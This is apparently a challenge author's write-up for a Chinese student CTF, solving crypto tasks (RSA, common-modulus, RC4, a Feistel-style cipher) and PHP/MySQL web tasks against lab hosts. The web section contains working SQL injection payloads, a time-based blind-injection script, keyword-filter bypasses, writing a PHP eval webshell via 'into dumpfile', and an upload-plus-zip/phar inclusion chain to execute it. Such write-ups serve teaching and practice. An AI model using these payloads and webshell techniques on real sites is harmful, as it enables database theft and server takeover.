第一届智商杯wp

周末出题老表伤透了心,原本高高兴兴的打算直接用做出来的童鞋的wp,结果发现没人做,还是得自己写…

Crypto

这次的密码题都是偏向简单的题目

女神的短信

提示短信,手机键盘九宫格加密,前面那个数字表示第几个按钮,后面那个数字表示那个按钮第几个(没想到最后变成了真正的签到题,看着动态积分从1000变到20,emmmmm所有队伍都做出来了)。

签到题–RSA

最基本的rsa解密,直接贴py代码

1
2
3
4
5
6
7
8
9
import gmpy2
p = 3487583947589437589237958723892346254777
q = 8767867843568934765983476584376578389
c = 4058547387436141457047422472489672162421145320474233882240312859636305303864
e = 65537
inv_n = (p-1)*(q-1)
d = gmpy2.invert(e,inv_n)
m = pow(c,d,p*q)
print '{:x}'.format(m).decode('hex')



RSA2

上课也讲过的共模攻击,最让老表伤心的是没有一个人去看老表的上课用的课件https://err0rzz.github.io/2017/11/14/CTF%E4%B8%ADRSA%E5%A5%97%E8%B7%AF/
还是直接贴代码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
c1=0x1cbd53af140710b23864f60e8d0741951b89bd03ce4d73573b0e8bb4d33b36a624e645312613b06759cfa9c4fa00bf8d4781a8e89aL
c2=0x5a87c76d2d79694e75ad2911c44d8208a7447852f26b37480dbc9d376579add2bed957db9b76fd16c60cccbbc9e901dddfe9a1eb3L
n=6266565720726907265997241358331585417095726146341989755538017122981360742813498401533594757088796536341941659691259323065631249
e1=839
e2=773
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
if s1<0:
s1 = - s1
c1 = modinv(c1, n)
elif s2<0:
s2 = - s2
c2 = modinv(c2, n)
m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
print '{:x}'.format(m).decode('hex')



有意思的解密

下载zip里面有两个文件,key.txt是一串十六进制,转化一下得到key='i_think_zz_is_ok',然后flag.py文件是rc4的加密函数,对着加密函数逆推一个解密函数即可(有童鞋百度出解密函数也算是不预期解吧,其实耐心推一下也很快的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import random
import base64
from hashlib import sha1
strCipher = 'dOo0foiNBuQvKQ1oEdPiLawHQHtwYoGZu6CsmQwM4MD9Rkz0VVMzJTcz0/EDmHAwhgg16VA0MulkmKYnzNnFk9cwJAG6FQ=='
key = 'i_think_zz_is_ok'
def crypt(data, key):
x = 0
box = range(256)
for i in range(256):
x = (x + box[i] + ord(key[i % len(key)])) % 256
box[i], box[x] = box[x], box[i]
x = y = 0
out = []
for char in data:
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
return ''.join(out)
def decrypt(data, key):
x = 0
box = range(256)
for i in range(256):
x = (x + box[i] + ord(key[i % len(key)])) % 256
box[i], box[x] = box[x], box[i]
x = y = 0
data1=[]
for char in data:
x=(x+1)%256
y=(y+box[x])%256
box[x],box[y] = box[y], box[x]
data1.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
return ''.join(data1)
def encode(data, key, encode=base64.b64encode, salt_length=16):
salt = ''
for n in range(salt_length):
salt += chr(random.randrange(256))
#salt='11'
data = salt + crypt(data, sha1(key + salt).digest())
if encode:
data = encode(data)
return data
def decode(data, key, decode=base64.b64decode, salt_length=16):
salt = ''
if decode:
data=decode(data)
for n in range(salt_length):
salt += chr(random.randrange(256))
#salt='11'
salt=data[:16]
out=data[16:]
return decrypt(out,sha1(key + salt).digest())
print decode(strCipher,key)



简单加密

这题讲道理比上一题要简单,但是因为上一题网上有rc4的解密代码,所以做出来的人比这题多…
原题目,flag.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from hashlib import sha256
key = 'zjgsctf'
cipher = '112a9166aebc5e677573f365d8b38c72'
def xor(a,b):
return ''.join([chr(ord(i)^ord(j)) for i,j in zip(a,b)])
def HASH(data):
return sha256(data).digest()[:8]
def bes_encrypt(subkeys, data):
i = 0
d1 = data[:8]
d2 = data[8:]
for i in subkeys:
d1 = xor(xor(HASH(d2),i),d1)
d1,d2 = d2,d1
return d2 + d1
def key_schedule(key):
subKeys = []
subKey = key
for i in xrange(16):
subKey = HASH(subKey)
subKeys.append(subKey)
return subKeys
def bes(key,data):
subKeys = key_schedule(key)
return bes_encrypt(subKeys, data).encode('hex')

观察代码可以发现,对key的操作变换并没有涉及随机数,所以加密用的subkeys和解密用的subkeys是一样的。然后就可以对着bes_encrypt的代码逆着写一份bes_decrypt出来,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from hashlib import sha256
def xor(a,b):
return ''.join([chr(ord(i)^ord(j)) for i,j in zip(a,b)])
def HASH(data):
return sha256(data).digest()[:8]
def bes_encrypt(subkeys, data):
i = 0
d1 = data[:8]
d2 = data[8:]
print d2.encode('hex')
for i in subkeys:
d1 = xor(xor(HASH(d2),i),d1)
d1,d2 = d2,d1
return d2 + d1
def bes_decrypt(subkeys,data):
data = data.decode('hex')
d2 = data[:8]
d1 = data[8:]
subkeys=subkeys[::-1]
for i in subkeys:
d1,d2=d2,d1
d1 = xor(xor(HASH(d2),i),d1)
return d1+d2
def key_schedule(key):
subKeys = []
subKey = key
for i in xrange(16):
subKey = HASH(subKey)
subKeys.append(subKey)
return subKeys
def bes(key,data):
subKeys = key_schedule(key)
return bes_encrypt(subKeys, data).encode('hex')
def besdd(key,data):
subKeys = key_schedule(key)
return bes_decrypt(subKeys, data)
if __name__ == "__main__":
key = 'zjgsctf'
cipher = '112a9166aebc5e677573f365d8b38c72'
print besdd(key,cipher)



web

我原以为…算了,想想某涛的pwn一题都没被做出来,我心里还是有点安慰的。

签到题–sql1

右键源码可以看到php源码
对输入的两个参数都没加任何过滤,而且只需要sql查询有结果即可返回flag,最简单的payload就是username=’ or 1=1#&password=


又一个签到题

我一开始以为这种题目大家应该都做吐了的,所以又是送分题…后来发现并不是这样…
一开始说Only localhost can get flag!,那修改一下http请求头里的x-forwarded-for127.0.0.1,然后发现变成了Only Chinese can get flag!,那修改一下语言,将Accept-Language中的en-US 去掉,得到flag

Lazy壮壮–sql2

测试一下会发现没有回显,猜测是时间盲注。然后试了试sleep方法,会发现被过滤了,而且这个题目只过滤了sleep。那么咋们就换一个函数好了,换成benchmark,其他的还是原来的配方,写个盲注脚本就好了(这里我先在本地试了下benchmark(20000000,md5('test'))大概需要7秒多,你们也可以自行更改参数来调整)。这里友情提示一下,你们可以把这些脚本收集一下,以后可以直接修改脚本,做题效率会高很多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time
url = 'http://10.21.13.152:20001/check.php'
payloads='1234567890qwertyuiopasdfghjklzxcvbnm_@QWERTYUIOPASDFGHJKLZXCVBNM,*'
def exp(i,x):
#sql2.users233.p4sswo3d
#xx = "' or if(substring((select database()) from %s for 1)='%s',benchmark(10000000,md5('test')),0) and '1'='1"
#xx = "' or if(substring((select group_concat(table_name) from information_schema.columns where table_schema=database()) from %s for 1)='%s',benchmark(10000000,md5('test')),0) and '1'='1"
#xx = "' or if(substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users233') from %s for 1)='%s',benchmark(10000000,md5('test')),0) and '1'='1"
xx = "' or if(substring((select group_concat(p4sswo3d) from users233) from %s for 1)='%s',benchmark(10000000,md5('test')),0) and '1'='1"
data={'id':xx %(i,x)}
first_time=time.time()
response = requests.post(url,data = data)
next_time=time.time()
if (next_time-first_time) > 2:
return 1
else :
return 0
ans=''
print 'star'
for i in range(1,100):
for x in payloads:
if exp(i,x)==1:
ans+=x
print ans
break
if x=='*':
print "over"
break


解出来两个md5值,去cmd5解一下,一个是’no’,另一个是’hacker’。提交hacker即可。

其实很简单–sql3

右键源码可以看到提示说需要?id,或者遇到这种什么都没有的题目的思路一般都是源码泄露(我题目也说了’壮壮好像泄露了什么…’),这里是.index.php.swp文件泄露,下载下来之后用vim -r打开即可恢复源码。
观察源码,会发现是数字型注入,而且过滤了很多函数。但是同时也发现有个不起眼但是很“多余”的函数strip_tags,这个函数拿去百度一下:

1
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

这样一切的过滤都可以轻松绕过了,只需要将select改成sele<br>ct这样,即在中间加上html标签即可,如下测试:

接下来就是最基本的sql注入了,就不多啰嗦了,直接贴payload:

1
2
3
4
5
列数:http://10.21.13.152:20002/?id=1 o<br>rder b<br>y 3
库名:http://10.21.13.152:20002/?id=-1 uni<br>on se<br>lect 1,database(),3
表名:http://10.21.13.152:20002/?id=-1 uni<br>on se<br>lect 1,group_concat(distinct ta<br>ble_name),3 fr<br>om info<br>rmation_schema.columns where ta<br>ble_schema=database()
列名:http://10.21.13.152:20002/?id=-1 uni<br>on se<br>lect 1,group_concat(distinct column_name),3 fr<br>om info<br>rmation_schema.columns where ta<br>ble_schema=database()and ta<br>ble_name='flag_here'
数据:http://10.21.13.152:20002/?id=-1 uni<br>on se<br>lect 1,group_concat(passwdzz),3 fr<br>om flag_here

因为我题目里用了limit,所以这里最好用group_concat来获得所有数据,然后用distinct来去掉重复的。


好心的壮壮–sql4

这个题目我把源码贴了上去,观察源码可以发现有两个文件,一个是index.php,另一个是include.php。一个注入题为什么要给文件包含的函数呢,这不是明摆着让你们用sql写木马,然后去包含嘛,心塞塞…

再看index.php,我用每个人的ip来作为目录名创建了一个权限777的目录,然后再去进行正常的sql代码(这么明显的提示…)。然后我们还会发现,并没有过滤掉dumpfile以及outfile以及into。现在目标明确,一切就绪,准备用sql语句写个木马吧。

1
post:id=-1 union select 0x3c3f706870206576616c28245f504f53545b22616161225d293b203f3e into dumpfile '/tmp/10.21.107.235/aaa.php'

这里有个全场唯一的一个小坑,就是如果你是正常的写’<?php eval($_POST[“aaa”]); ?>’这个一句话木马的话,中间php部分会消失掉,like this:

1
post:id=-1 union select "<?php eval($_POST['aaa']); ?>" into dumpfile '/tmp/10.21.107.235/aaa.php'

所以,好心的壮壮又给你们个送分,把你们发送过去的东西打印出来。所以我们选择用十六进制来绕过这个坑点。
然后用include.php去包含就好了

然后连菜刀去吧。

随便翻翻目录就可以找到目录

babyweb

这个题目算是基本套路吧…我提示也是反复强调伪协议,可是最后还是只有master一个队做出来,心塞塞…

看到url里有个?page,先想到filter伪协议去读源码,然后把所有源码都爬下来之后,主要的几个文件如下:
upload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<META http-equiv="content-type" content="text/html; charset=utf8">
<?php
header("content-type:text/html;charset=utf-8");
include 'config.php';
function get_random_token(){
$random_token = '';
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for($i = 0; $i < 16; $i++){
$random_token .= substr($str, rand(1, 61), 1);
}
return $random_token;
}
if (isset($_POST['Upload'])) {
$target_path ="./Err0r/";
$target_name=get_random_token();
$target_path = $target_path . $target_name;
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "png" || $uploaded_ext == "PNG"|| $uploaded_ext == "gif" || $uploaded_ext == "GIF"|| $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path.".".$uploaded_ext)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path .".".$uploaded_ext .' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
}
}
?>

include.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<META http-equiv="content-type" content="text/html; charset=utf8">
<?php
header("content-type:text/html;charset=utf-8");
include 'config.php';
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = $page . ".php";
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "submit") { ?>class="active"<?php } ?>><a href="?page=submit">Submit</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
include($file);
echo $page;
echo "||";
echo $file;
?>
</div>
<script src="http://code.jquery.com/jquery-latest.js" />
<script src="http://libs.baidu.com/bootstrap/3.0.3/js/bootstrap.min.js" />
</body>
</html>

可以发现index.php中会将?page参数加上’.php’,然后去包含。然后upload.php,会判断上传的文件的后缀是否为’.jpg’或者’.gif’或者’.png’,如果后缀不对,则会显示上传失败;如果后缀正确,则会在./Err0r目录下生成一个文件,文件名为随机生成的十六字节的字符串+’.jpg’,更何况提示也说了有个a.php,我们可以看到phpinfo信息,这个版本的php已经修复了%00漏洞,所以在文件名上动手脚什么的已经不太行了。

这里就需要另外的伪协议了,如zipphar
我们可以利用这两个伪协议来读取压缩包中的文件,具体说明如下:

1
2
[http://php.net/manual/zh/book.phar.php](http://php.net/manual/zh/book.phar.php)
[http://php.net/manual/zh/book.zip.php](http://php.net/manual/zh/book.zip.php)

具体解题如下:

  1. 先写一个php一句话木马,文件名为a.php,内容为'<?php eval($_POST["aaa"]); ?>'
  2. 压缩一下变成a.zip,再更改文件名,将原来的a.zip改为a.jpg
  3. 上传a.jpg,通过upload.php的上传验证。

页面返回文件变换之后保存的路径以及文件名,用以下两个方法去包含

1
2
http://10.21.13.152:20050/?page=zip://./Err0r/RiiwLkgTlLxPRPsE.jpg%23a
post:aaa=phpinfo();

1
2
http://10.21.13.152:20050/?page=phar://./Err0r/RiiwLkgTlLxPRPsE.jpg/a
post:aaa=phpinfo();

然后菜刀连一下。

然后随便翻翻目录就能找到flag

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. Crypto
    1. 1.1. 女神的短信
    2. 1.2. 签到题–RSA
    3. 1.3. RSA2
    4. 1.4. 有意思的解密
    5. 1.5. 简单加密
  2. 2. web
    1. 2.1. 签到题–sql1
    2. 2.2. 又一个签到题
    3. 2.3. Lazy壮壮–sql2
    4. 2.4. 其实很简单–sql3
    5. 2.5. 好心的壮壮–sql4
    6. 2.6. babyweb
,